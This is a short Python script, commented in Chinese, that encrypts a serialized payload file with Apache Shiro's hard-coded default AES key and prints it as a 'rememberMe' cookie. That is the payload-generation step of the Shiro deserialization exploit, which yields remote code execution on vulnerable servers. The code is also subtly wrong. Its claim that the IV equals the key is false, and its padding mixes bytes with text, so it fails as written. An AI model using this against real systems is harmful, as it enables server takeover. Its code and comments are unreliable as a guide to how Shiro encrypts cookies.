python
from Crypto.Cipher import AES
import base64
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # Shiro 默认密钥
iv = key # Shiro 使用 CBC 模式,IV = key
def pad(s): # PKCS7 补全
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = base64.b64encode(cipher.encrypt(pad(open("payload.bin", "rb").read())))
print("rememberMe=" + encrypted.decode())